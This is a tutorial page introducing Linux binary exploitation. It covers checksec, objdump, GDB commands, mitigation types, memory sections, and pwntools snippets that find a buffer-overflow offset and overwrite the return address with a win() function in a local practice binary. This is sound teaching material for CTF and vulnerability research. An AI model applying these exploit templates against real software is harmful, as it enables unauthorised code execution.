Exploit Development
What You Will Learn
- How to analyze a binary’s security protections
- How to perform static and dynamic analysis on a binary
- How to find buffer overflows and control the instruction pointer
- Key binary sections and memory layout concepts
What Is It?
Exploit development is the process of finding and exploiting vulnerabilities in compiled programs. The goal is to take a bug (like a buffer overflow) and turn it into controlled code execution.
This topic covers the fundamental tools and techniques for binary exploitation on Linux.
Why It Matters
Binary exploitation is at the core of:
- CTF pwn challenges
- Vulnerability research and CVE discovery
- Security assessments of compiled applications
- Malware and implant development
Key Concepts
Static Analysis
Static analysis examines a binary without running it.
# Display generic file information
file <binary>
# Check binary security mitigations
checksec <binary>
# Display information about ELF sections and symbols
readelf -a <binary>
# Decompile to Intel syntax assembly
objdump -M intel -d <binary>
# Show strings embedded in the binary
strings <binary>
# Show imported/exported symbols
nm <binary>
Security Mitigations
checksec reports the security features of a binary:
| Mitigation | Description |
|---|---|
| RELRO | Prevents GOT overwrites |
| Stack Canary | Detects stack overflows |
| NX / DEP | Makes the stack non-executable |
| PIE | Position Independent Executable — ASLR for the binary |
| ASLR | Randomizes base addresses at runtime |
Dynamic Analysis
Dynamic analysis examines a binary while it is running.
# Start GDB with a binary
gdb -q <binary>
# Disassemble a function
(gdb) disas <function>
# Set a breakpoint at a function
(gdb) b *<function>
# Run the program
(gdb) r
# Display registers
(gdb) info registers
# Display info about a specific register
(gdb) i r <register>
# Examine memory: 16 double-words (4 bytes each) as hex, starting at $esp
(gdb) x/16dx $esp
Memory Layout
Global Variables
.datasection: Contains initialized static data (e.g.,int x = 5;).bsssection: Contains uninitialized static data.textsection: Contains executable code
File Offset vs Virtual Address
When analyzing a binary:
- File offset: Position of the byte within the file on disk
- Virtual address: Where the byte lives in memory when the program runs
These differ because the OS maps sections to specific memory addresses.
Finding Buffer Overflows
from pwn import *
# Generate a cyclic pattern to find the offset to RIP
pattern = cyclic(200)
p = process('./vuln')
p.sendline(pattern)
p.wait()
# Check what value is in RSP at crash time
core = p.corefile
offset = cyclic_find(core.rsp)
print(f"Offset to return address: {offset}")
Basic Exploit Template
from pwn import *
# Load binary
elf = ELF('./vuln')
p = process('./vuln')
offset = 64 # bytes to reach return address
# Build payload
payload = b"A" * offset # fill buffer
payload += p64(elf.sym['win']) # overwrite return address with win()
p.sendline(payload)
p.interactive()